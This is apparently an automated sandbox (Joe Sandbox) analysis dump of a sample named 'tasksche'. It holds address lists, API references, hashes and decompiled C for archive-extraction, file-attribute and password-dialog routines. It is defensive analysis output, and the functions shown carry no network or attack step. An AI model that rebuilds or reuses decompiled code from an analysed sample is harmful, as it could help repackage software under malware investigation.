0x004168e8
0x004168eb
0x004168ee
0x004168f4
0x0041693b
0x0041693b
0x00416945
0x00000000
0x00000000
0x00416953
0x0041695a
0x0041695a
0x0041695b
0x0041696c
0x00416971
0x00416974
0x00416979
0x0041697d
0x0041697f
0x00416981
0x00416981
0x00416981
0x00416992
0x00416996
0x00416998
0x004169b3
0x004169b6
0x004169bc
0x004169c9
0x004169c9
0x004169be
0x004169c4
0x004169c4
0x004169cb
0x0041699a
0x0041699d
0x004169a5
0x004169ae
0x004169ae
0x004169ce
0x004169d1
0x004169d4
0x004169d6
0x004169e9
0x004169e9
0x004169e9
0x00000000
0x004169d8
0x004169e0
0x004169e2
0x00000000
0x00000000
0x004169e6
0x004169eb
0x004169ed
0x004169ed
0x004169f3
0x004169f6
0x004169fe
0x00416a04
0x00416a07
0x00416a0b
0x00416a12
0x00416a15
0x00416a54
0x00416a54
0x00416a58
0x00416af6
0x00416af9
0x00416afc
0x00416b02
0x00416b05
0x00416b0b
0x00416b0e
0x00416b14
0x00416b16
0x00416b1c
0x00416b29
0x00416b2e
0x00416b2e
0x00416b31
0x00416b35
0x00416b37
0x00416b3c
0x00416b45
0x00416b45
0x00416b4a
0x00416b4a
0x00416b4d
0x00416b4f
0x00416b52
0x00416b55
0x00416b58
0x00416b5f
0x00416b6a
0x00416b6f
0x00416b73
0x00416b77
0x00416b77
0x00416b77
0x00416b77
0x00416b82
0x00416b86
0x00416b90
0x00416b94
0x00416b9f
0x00416ba3
0x00416bb0
0x00416bb8
0x00416bbc
0x00416c38
0x00416c38
0x00416868
0x0041686e
0x00416876
0x00416876
0x00416bbe
0x00416bc6
0x00416bcc
0x00000000
0x00000000
0x00416bd3
0x00416bd8
0x00416bdb
0x00416be0
0x00000000
0x00000000
0x00416be6
0x00416be9
0x00416bec
0x00416bee
0x00416bf2
0x00416bf8
0x00416bf8
0x00416bff
0x00416c01
0x00416c04
0x00416c07
0x00000000
0x00416c09
0x00416c09
0x00416c09
0x00416c11
0x00416c16
0x00000000
0x00000000
0x00416c2a
0x00416c2d
0x00416c32
0x00416c33
0x00416c36
0x00000000
0x00000000
0x00000000
0x00416c36
0x00000000
0x00416c09
0x00416c07
0x00416a66
0x00416a68
0x00416a6b
0x00416a71
0x00000000
0x00000000
0x00416a77
0x00416a79
0x00416a7b
0x00000000
0x00000000
0x00416a85
0x00416a8a
0x00416a8c
0x00416a8f
0x00416a92
0x00416abe
0x00416abe
0x00416acc
0x00416ad1
0x00416ad5
0x00416ad7
0x00416ad9
0x00416ada
0x00416adf
0x00000000
0x00000000
0x00000000
0x00000000
0x00416a94
0x00416a94
0x00416a94
0x00416a9c
0x00416aa1
0x00000000
0x00000000
0x00416ab0
0x00416ab3
0x00416ab8
0x00416ab9
0x00416abc
0x00000000
0x00000000
0x00000000
0x00416abc
0x00416ae2
0x00416ae4
0x00416aea
0x00416aeb
0x00416af0
0x00000000
0x00416ae4
0x00416a26
0x00416a29
0x00416a2e
0x00416a2e
0x00416a2e
0x00416a32
0x00416a3a
0x00416a3c
0x00416a46
0x00416a46
0x00416a48
0x00416a4b
0x00416a4e
0x00416a4e
0x00000000
0x00416a32
0x00000000
0x00000000
0x00000000
0x004168f6
0x004168f6
0x0041690a
0x00416913
0x00416916
0x00416919
0x0041691c
0x0041691e
0x0041691e
0x0041691e
0x0041691e
0x00416921
0x00416924
0x00416926
0x00416928
0x00416928
0x00416928
0x0041692b
0x0041692c
0x0041692f
0x0041692f
0x00416937
0x00416939
0x00000000
0x00000000
0x00000000
0x00416939
0x0041685b
0x00416861
0x00416861
0x00000000
0x0041685b
0x0041684b

APIs

__EH_prolog.LIBCMT ref: 00416795

Part of subcall function 004129F9: _realloc.LIBCMT ref: 00412A51

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

_memset.LIBCMT ref: 004169F6
_memset.LIBCMT ref: 00416BB0

Strings

, xrefs: 00416992

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc_realloc
String ID:
API String ID: 1826288403-3916222277
Opcode ID: 0d48e13bb8a277f6458225f363c78ec795d6fd62086fd03c94a99887370c8703
Instruction ID: b2eea235d821e150737843ebb12b5e68f22e0a3d12c725fcd3f3b3fef6346f43
Opcode Fuzzy Hash: 0d48e13bb8a277f6458225f363c78ec795d6fd62086fd03c94a99887370c8703
Instruction Fuzzy Hash: 92E1BF71A007499FCB10EF65C980BEEB7B1FF14304F11482EE956A7281DB39E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00418B3D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00418B3D(intOrPtr __edx, intOrPtr* _a4, char _a7, signed int _a8, char _a11, short _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v4120;
				char _v8216;
				void* __ebx;
				void* __ebp;
				intOrPtr _t93;
				intOrPtr _t107;
				signed int _t116;
				signed int _t123;
				intOrPtr _t137;
				signed int _t150;
				intOrPtr _t151;
				intOrPtr* _t157;
				intOrPtr* _t166;
				intOrPtr _t178;
				intOrPtr _t180;
				signed int _t183;
				intOrPtr _t184;
				intOrPtr* _t187;
				void* _t188;

				_t178 = __edx;
				E0041AAF0(0x2014);
				_t187 = _a4;
				_v12 =  *((intOrPtr*)(_t187 + 0x6524));
				_t93 =  *((intOrPtr*)(_t187 + 0x6544));
				_v16 = _t93;
				if(_t93 != 3) {
					_t151 = _t187 + 0x65e8;
					_v8 = _t151;
					_t180 = _t151;
					__eflags = _t93 - 2;
					if(__eflags != 0) {
						L4:
						_a7 = 0;
						L5:
						_t150 = _a8;
						if(_t150 == 0 || _a7 == 0) {
							L12:
							_v24 =  *((intOrPtr*)( *_t187 + 0x10))();
							_v20 = _t178;
							if(_t150 != 0) {
								 *((intOrPtr*)(_t150 + 0x21f8)) =  *((intOrPtr*)(_t150 + 0x21f8)) + E00408E03(_t187, _t178);
								asm("adc [edi+0x4], edx");
							}
							E00408A32(_t187);
							E0040A8A1( &_v4120, 0x800, (E0041A7F7( &_v4120, _t187 + 0x1e) & 0xffffff00 |  *((char*)(_t187 + 0xb05a)) == 0x00000000) & 0x000000ff);
							asm("sbb edi, edi");
							_a11 = 0;
							_t183 =  ~( *(_v12 + 0x5195) & 0x000000ff) & 0x00000004;
							while(1) {
								_push(_t183);
								_push( &_v4120);
								_t157 = _t187;
								if( *((intOrPtr*)( *_t187 + 4))() != 0) {
									break;
								}
								__eflags = _t150;
								if(_t150 != 0) {
									 *(_t150 + 0x2200) =  *(_t150 + 0x2200) & 0x00000000;
									_t38 = _t150 + 0x2204;
									 *_t38 =  *(_t150 + 0x2204) & 0x00000000;
									__eflags =  *_t38;
								}
								__eflags = _a11;
								if(_a11 != 0) {
									L19:
									_t107 = _v12;
									__eflags =  *((char*)(_t107 + 0x517c));
									if( *((char*)(_t107 + 0x517c)) != 0) {
										L25:
										E00406376(0x44,  &_v4120);
										 *((intOrPtr*)( *_t187 + 4))(_t187 + 0x1e, _t183);
										 *((intOrPtr*)( *_t187 + 0xc))(_v24, _v20, 0);
										return 0;
									}
									_t116 = L00411987(_t157,  &_v4120, 0x800);
									__eflags = _t116;
									if(_t116 == 0) {
										goto L25;
									}
									continue;
								} else {
									E0041A7F7( &_v8216, _t187 + 0x1e);
									E0040A8A1( &_v8216, 0x800, 1);
									_t157 = _t187;
									_a11 = 1;
									_t123 =  *((intOrPtr*)( *_t187 + 4))( &_v8216, _t183);
									__eflags = _t123;
									if(_t123 != 0) {
										E0041A7F7( &_v4120,  &_v8216);
										break;
									}
									goto L19;
								}
							}
							E004116C9((_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, (_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, _t187 + 0x1e);
							E004019E7(_t187, _t178, _t188, _a16 - 0x54, 1);
							_t202 = _a7;
							_t166 = _t187;
							if(_a7 == 0) {
								E0040369F(_t178, _t188);
							} else {
								E0040370E(_t166, _t178, _t202, _v16);
							}
							if( *((intOrPtr*)(_t187 + 0x6544)) == 2) {
								E00401A5C(_t187);
								_t178 =  *((intOrPtr*)(_t187 + 0xb04c));
								asm("sbb edx, [esi+0x7634]");
								 *((intOrPtr*)( *_t187 + 0xc))( *((intOrPtr*)(_t187 + 0xb048)) -  *((intOrPtr*)(_t187 + 0x7630)), _t178, 0);
							}
							if(_t150 != 0) {
								_t184 = _v8;
								if(_v16 != 5) {
									 *((char*)(_t150 + 0x21c7)) =  *((intOrPtr*)(_t184 + 0x1089));
									 *((intOrPtr*)(_t150 + 0x20)) =  *((intOrPtr*)(_t184 + 0x1048));
									 *((intOrPtr*)(_t150 + 0x24)) =  *((intOrPtr*)(_t184 + 0x104c));
								} else {
									 *((char*)(_t150 + 0x21c7)) = 0;
								}
								_t137 = E00408E03(_t187, _t178);
								 *(_t150 + 0x21e8) =  *(_t150 + 0x21e8) & 0x00000000;
								 *(_t150 + 0x21ec) =  *(_t150 + 0x21ec) & 0x00000000;
								 *((intOrPtr*)(_t150 + 0x21d0)) = _t137;
								 *((intOrPtr*)(_t150 + 0x21d4)) = _t178;
								E00409885(_t150 + 0x2208,  *((intOrPtr*)(_t184 + 0x1060)),  *((intOrPtr*)(_v12 + 0x7298)));
							}
							return 1;
						} else {
							if( *((intOrPtr*)(_t187 + 0xb050)) == 3) {
								L10:
								asm("sbb ecx, ecx");
								if(E00409AE9(_t150, _t150 + 0x2208, _t178, _t195, _t180 + 0x1060,  ~( *(_t180 + 0x10ba) & 0x000000ff) & _t180 + 0x000010bb) == 0) {
									E0040639F(5, _t187 + 0x1e, _t180 + 0x20);
								}
								goto L12;
							}
							if( *((char*)(_t180 + 0x19)) < 0x14) {
								goto L12;
							}
							_t195 =  *((intOrPtr*)(_t180 + 0x1064)) - 0xffffffff;
							if( *((intOrPtr*)(_t180 + 0x1064)) == 0xffffffff) {
								goto L12;
							}
							goto L10;
						}
					}
					L3:
					_a7 = 1;
					if( *((char*)(_t180 + 0x1089)) != 0) {
						goto L5;
					}
					goto L4;
				}
				_t180 = _t187 + 0x8928;
				_v8 = _t180;
				goto L3;
			}

0x00418b3d
0x00418b45
0x00418b4c
0x00418b55
0x00418b58
0x00418b5f
0x00418b65
0x00418b72
0x00418b78
0x00418b7b
0x00418b7d
0x00418b80
0x00418b8f
0x00418b8f
0x00418b93
0x00418b93
0x00418b98
0x00418bf1
0x00418bf8
0x00418bfb
0x00418c00
0x00418c0f
0x00418c11
0x00418c11
0x00418c16
0x00418c47
0x00418c58
0x00418c5a
0x00418c5e
0x00418cd8
0x00418cda
0x00418ce1
0x00418ce2
0x00418ce9
0x00000000
0x00000000
0x00418c63
0x00418c65
0x00418c67
0x00418c6e
0x00418c6e
0x00418c6e
0x00418c6e
0x00418c75
0x00418c79
0x00418cb7
0x00418cb7
0x00418cba
0x00418cc1
0x00418d36
0x00418d3f
0x00418d4d
0x00418d5c
0x00000000
0x00418d5f
0x00418ccf
0x00418cd4
0x00418cd6
0x00000000
0x00000000
0x00000000
0x00418c7b
0x00418c86
0x00418c9b
0x00418caa
0x00418cac
0x00418cb0
0x00418cb3
0x00418cb5
0x00418d2d
0x00000000
0x00418d33
0x00000000
0x00418cb5
0x00418c79
0x00418cff
0x00418d08
0x00418d0d
0x00418d11
0x00418d13
0x00418d66
0x00418d15
0x00418d18
0x00418d18
0x00418d72
0x00418d76
0x00418d87
0x00418d8d
0x00418d9b
0x00418d9b
0x00418da0
0x00418da6
0x00418da9
0x00418dba
0x00418dc6
0x00418dcf
0x00418dab
0x00418dab
0x00418dab
0x00418dd4
0x00418dd9
0x00418de0
0x00418de7
0x00418df0
0x00418e08
0x00418e08
0x00000000
0x00418ba0
0x00418ba7
0x00418bb8
0x00418bc1
0x00418be0
0x00418bec
0x00418bec
0x00000000
0x00418be0
0x00418bad
0x00000000
0x00000000
0x00418baf
0x00418bb6
0x00000000
0x00000000
0x00000000
0x00418bb6
0x00418b98
0x00418b82
0x00418b89
0x00418b8d
0x00000000
0x00000000
0x00000000
0x00418b8d
0x00418b67
0x00418b6d
0x00000000

APIs

_wcscpy.LIBCMT ref: 00418C26
_wcscpy.LIBCMT ref: 00418C86
_wcscpy.LIBCMT ref: 00418D2D

Strings

T, xrefs: 00418CEF

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy
String ID: T
API String ID: 3048848545-3187964512
Opcode ID: 7b9b9af83664cc87fe2d3df4d2851bf5f64a8acbd8ca5ef161931a2b21923617
Instruction ID: 08ee224434b4342d1c159c2c22343cdeaadf414e9d08c0d11a019e9d32988bbe
Opcode Fuzzy Hash: 7b9b9af83664cc87fe2d3df4d2851bf5f64a8acbd8ca5ef161931a2b21923617
Instruction Fuzzy Hash: 99910871600744AFDF24DF64C884BEAB7F8AF15304F0445AFE95997282CB78AAC4CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00406D02 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127
timeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00406D02(void* __edx) {
				void* __ebx;
				void* __edi;
				void* _t46;
				signed int _t56;
				signed int _t59;
				void* _t63;
				signed int _t64;
				signed int _t70;
				void* _t96;
				intOrPtr* _t101;
				void* _t103;

				_t96 = __edx;
				E0041A4DC(E00429658, _t103);
				E0041AAF0(0x5094);
				_t101 =  *((intOrPtr*)(_t103 + 0xc));
				if( *_t101 == 0 ||  *((intOrPtr*)(_t101 + 2)) != 0) {
					_push(0x802);
					_t46 = _t103 - 0x307c;
				} else {
					E0041A7F7(_t103 - 0x307c, L".\\");
					_push(0x800);
					_t46 = _t103 - 0x3078;
				}
				_push(_t101);
				_push(_t46);
				E00410B9C();
				E004066DA(0, 0x802,  *((intOrPtr*)(_t103 + 8)), _t103 - 0x407c, 0x800);
				if( *((short*)(_t103 - 0x407c)) == 0x3a) {
					__eflags =  *(_t103 + 0x10);
					if(__eflags == 0) {
						E00410BC9(__eflags, _t103 - 0x307c, _t103 - 0x407c, 0x802);
						E004067E1(_t103 - 0x2078);
						_push(0);
						 *(_t103 + 0x13) = E004096BC(_t96, _t101, _t103 - 0x2078);
						_t56 =  *(_t103 - 0x1070);
						__eflags = _t56 & 0x00000001;
						if((_t56 & 0x00000001) != 0) {
							_t72 = _t56 & 0xfffffffe;
							__eflags = _t56 & 0xfffffffe;
							E0040908D(_t101, _t72);
						}
						E00408786(_t103 - 0x1030);
						 *(_t103 - 4) = 0;
						_t59 = E00408A0A(_t103 - 0x1030, __eflags, _t103 - 0x307c, 0x11);
						__eflags = _t59;
						if(_t59 != 0) {
							_push(_t103 - 0x1030);
							_push(0);
							_t70 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
							__eflags = _t70;
							if(_t70 != 0) {
								E00408A32(_t103 - 0x1030);
							}
						}
						E00408786(_t103 - 0x50a0);
						 *(_t103 - 4) = 1;
						__eflags =  *(_t103 + 0x13);
						if( *(_t103 + 0x13) != 0) {
							_push(5);
							_push(_t101);
							_t64 = E004087C3(_t103 - 0x50a0);
							__eflags = _t64;
							if(_t64 != 0) {
								SetFileTime( *(_t103 - 0x509c), _t103 - 0x1050, _t103 - 0x1048, _t103 - 0x1040);
							}
						}
						E0040908D(_t101,  *(_t103 - 0x1070));
						 *(_t103 - 4) = 0;
						E00408C7D(0, _t103 - 0x50a0);
						_t38 = _t103 - 4;
						 *_t38 =  *(_t103 - 4) | 0xffffffff;
						__eflags =  *_t38;
						_t63 = E00408C7D(0, _t103 - 0x1030);
					} else {
						_push(0);
						_push(0);
						_t63 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
					}
				} else {
					E0040639F(0x50,  *((intOrPtr*)(_t103 + 8)) + 0x1e, _t101);
					_t63 = E004062BA(0x4335ac, 3);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
				return _t63;
			}

0x00406d02
0x00406d07
0x00406d11
0x00406d18
0x00406d26
0x00406d4e
0x00406d4f
0x00406d2e
0x00406d3a
0x00406d41
0x00406d46
0x00406d46
0x00406d55
0x00406d56
0x00406d57
0x00406d6b
0x00406d78
0x00406d9a
0x00406d9d
0x00406dbd
0x00406dc8
0x00406dcd
0x00406ddb
0x00406dde
0x00406de4
0x00406de6
0x00406de8
0x00406de8
0x00406ded
0x00406ded
0x00406df8
0x00406e0c
0x00406e0f
0x00406e14
0x00406e16
0x00406e21
0x00406e22
0x00406e23
0x00406e28
0x00406e2a
0x00406e32
0x00406e32
0x00406e2a
0x00406e3d
0x00406e42
0x00406e46
0x00406e49
0x00406e4b
0x00406e4d
0x00406e54
0x00406e59
0x00406e5b
0x00406e78
0x00406e78
0x00406e5b
0x00406e85
0x00406e90
0x00406e93
0x00406e98
0x00406e98
0x00406e98
0x00406ea2
0x00406d9f
0x00406da2
0x00406da3
0x00406da4
0x00406da4
0x00406d7a
0x00406d84
0x00406d90
0x00406d90
0x00406ead
0x00406eb5

APIs

__EH_prolog.LIBCMT ref: 00406D07
_wcscpy.LIBCMT ref: 00406D3A

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

SetFileTime.KERNEL32(?,?,?,?,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000), ref: 00406E78

Part of subcall function 0040908D: SetFileAttributesW.KERNEL32(00000000,00000000,7705F790,00000001,?,0040933D,00000000,?,?,0040941E,?,00000001,00000000,?,?), ref: 004090A8
Part of subcall function 0040908D: SetFileAttributesW.KERNEL32(?,00000000,00000000,?,00000800,?,0040933D,00000000,?,?,0040941E,?,00000001,00000000,?,?), ref: 004090D5

Strings

:, xrefs: 00406D70

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File$Attributes$H_prologTime_wcscpy_wcslen_wcsncat
String ID: :
API String ID: 326910402-336475711
Opcode ID: 5e0e7d49851dca55c4deade094d134f4ea512213999111766949daa2ff960fa4
Instruction ID: 6639f4f99703ce1112f5787d69d8c123706ab186ca62756c3ad703d048bc38cc
Opcode Fuzzy Hash: 5e0e7d49851dca55c4deade094d134f4ea512213999111766949daa2ff960fa4
Instruction Fuzzy Hash: D0417F71905258AAEB20EB64CC55EEE737CAF04344F0040ABB556B71C2DB78AF94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D53E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040D53E(void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR** _a16) {
				void* _t12;
				void* _t17;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t29;
				struct HWND__* _t31;
				WCHAR** _t32;

				_t32 = _a16;
				_t31 = _a4;
				if(E004060EE(__edx, _t31, _a8, _a12, _t32, L"ASKNEXTVOL", 0, 0) != 0) {
					L14:
					__eflags = 1;
					return 1;
				}
				_t12 = _a8 - 0x110;
				if(_t12 == 0) {
					_push( *_t32);
					 *0x44cf2c = _t32;
					L13:
					SetDlgItemTextW(_t31, 0x65, ??);
					goto L14;
				}
				if(_t12 != 1) {
					L6:
					return 0;
				}
				_t17 = (_a12 & 0x0000ffff) - 1;
				if(_t17 == 0) {
					GetDlgItemTextW(_t31, 0x65,  *( *0x44cf2c), ( *0x44cf2c)[1]);
					_push(1);
					L10:
					EndDialog(_t31, ??);
					goto L14;
				}
				_t21 = _t17 - 1;
				if(_t21 == 0) {
					_push(0);
					goto L10;
				}
				if(_t21 == 0x64) {
					_t24 = E0040A5DB(__eflags,  *( *0x44cf2c));
					_t27 = E00405164(_t29, _t31, E0040C3BF(0x8e),  *( *0x44cf2c), _t24, 0);
					__eflags = _t27;
					if(_t27 == 0) {
						goto L14;
					}
					_push( *( *0x44cf2c));
					goto L13;
				}
				goto L6;
			}

0x0040d542
0x0040d546
0x0040d561
0x0040d5ee
0x0040d5f0
0x00000000
0x0040d5f0
0x0040d56a
0x0040d56f
0x0040d5dd
0x0040d5df
0x0040d5e5
0x0040d5e8
0x00000000
0x0040d5e8
0x0040d572
0x0040d583
0x00000000
0x0040d583
0x0040d578
0x0040d579
0x0040d5d3
0x0040d5d9
0x0040d5bd
0x0040d5be
0x00000000
0x0040d5be
0x0040d57b
0x0040d57c
0x0040d5bb
0x00000000
0x0040d5bb
0x0040d581
0x0040d590
0x0040d5a9
0x0040d5ae
0x0040d5b0
0x00000000
0x00000000
0x0040d5b7
0x00000000
0x0040d5b7
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D5BE
GetDlgItemTextW.USER32(?,00000065,?,?), ref: 0040D5D3
SetDlgItemTextW.USER32 ref: 0040D5E8

Strings

ASKNEXTVOL, xrefs: 0040D54D

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: ASKNEXTVOL
API String ID: 1770891597-3402441367
Opcode ID: a8a6f44b6775d0cd3294368f2a4b23b4347bfb04fbb05bfaf2c83a68a4392c99
Instruction ID: 7c41b1936654f57e10877f1e9afce92132798bffb5e44c1de30f76ec9c95968c
Opcode Fuzzy Hash: a8a6f44b6775d0cd3294368f2a4b23b4347bfb04fbb05bfaf2c83a68a4392c99
Instruction Fuzzy Hash: 23118135600104BBDB219FA49C45F663775EB0A718F044036FE01FA1E0D77AD825AB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041254D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041254D(intOrPtr __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v28;
				void* __ebx;
				void* __edi;
				intOrPtr _t25;
				signed int _t30;
				signed int _t31;
				intOrPtr _t35;
				signed int _t40;
				void* _t41;
				signed int _t42;
				signed int _t46;
				signed int _t47;
				unsigned int _t48;
				void* _t51;

				_v16 = __ecx;
				_t25 = E0041252C(__ecx);
				_t47 = 0;
				_v8 = 0;
				if(_a4 <= 0) {
					return _t25;
				}
				_push(_t35);
				_push(_t48);
				do {
					if(_v8 >= 0x20) {
						if(_t47 < _a4) {
							L8:
							E0041216A( &_v28);
							E0041C77F( &_v28, 0x42d504);
							goto L9;
						}
						L12:
						return _t25;
					}
					_t48 = _a4 - _t47;
					_t41 = 0x20;
					_t42 = _t41 - _v8;
					_t30 = _t48;
					_t31 = _t30 / _t42;
					_t46 = _t30 % _t42;
					_v12 = _t31;
					if(_t31 <= 0x400000) {
						_v12 = 0x400000;
					}
					while(_t48 >= _v12) {
						_t35 = E0041CF3E(_t35, _t46, _t47, _t48);
						if(_t35 != 0) {
							goto L9;
						}
						_t48 = _t48 - (_t48 >> 5);
					}
					goto L8;
					L9:
					E0041A820(_t47, _t35, 0, _t48);
					_t25 = _v16;
					_t40 = _v8 << 2;
					_t47 = _t47 + _t48;
					_t51 = _t51 + 0xc;
					_v8 = _v8 + 1;
					 *((intOrPtr*)(_t40 + _t25)) = _t35;
					 *((intOrPtr*)(_t40 + _t25 + 0x80)) = _t47;
				} while (_t47 < _a4);
				goto L12;
			}

0x00412554
0x00412557
0x0041255c
0x0041255e
0x00412564
0x004125f7
0x004125f7
0x0041256a
0x0041256b
0x0041256c
0x00412570
0x004125f1
0x004125ad
0x004125b0
0x004125be
0x00000000
0x004125be
0x004125f3
0x00000000
0x004125f4
0x00412577
0x00412579
0x0041257a
0x0041257f
0x00412581
0x00412581
0x00412588
0x0041258d
0x0041258f
0x0041258f
0x004125a8
0x0041259a
0x0041259f
0x00000000
0x00000000
0x004125a6
0x004125a6
0x00000000
0x004125c3
0x004125c7
0x004125cf
0x004125d2
0x004125d5
0x004125d7
0x004125da
0x004125dd
0x004125e0
0x004125e7
0x00000000

APIs

__CxxThrowException@8.LIBCMT ref: 004125BE
_memset.LIBCMT ref: 004125C7

Strings

, xrefs: 0041256C

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Exception@8Throw_memset
String ID:
API String ID: 3963884845-3916222277
Opcode ID: 653566bfccebebc550ca30b6af37db387d4266e4fa5bc9fcb69beb97700c845e
Instruction ID: ba4e6bc0ef6041dd665025fb65f45a384477b48ee7e133f8ed84bbd0a598a512
Opcode Fuzzy Hash: 653566bfccebebc550ca30b6af37db387d4266e4fa5bc9fcb69beb97700c845e
Instruction Fuzzy Hash: 60110671E01218BACB14EFA9CAD55DEB776FF54344F10406BE405E7241D6B85BD2CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0040D477 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040D477(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				short _v260;
				void* _t15;
				void* _t20;
				struct HWND__* _t33;

				_t33 = _a4;
				if(E004060EE(__edx, _t33, _a8, _a12, _a16, L"GETPASSWORD1", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t15 = _a8 - 0x110;
				if(_t15 == 0) {
					SetDlgItemTextW(_t33, 0x66, _a16);
					goto L10;
				}
				if(_t15 != 1) {
					L5:
					return 0;
				}
				_t20 = (_a12 & 0x0000ffff) - 1;
				if(_t20 == 0) {
					GetDlgItemTextW(_t33, 0x65,  &_v260, 0x80);
					E0040D033(__ebx, 0x44ce20,  &_v260);
					E0040CFA3( &_v260, 0x80);
					_push(1);
					L7:
					EndDialog(_t33, ??);
					goto L10;
				}
				if(_t20 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0040d482
0x0040d49f
0x0040d50a
0x00000000
0x0040d50c
0x0040d4a4
0x0040d4a9
0x0040d504
0x00000000
0x0040d504
0x0040d4ac
0x0040d4b8
0x00000000
0x0040d4b8
0x0040d4b2
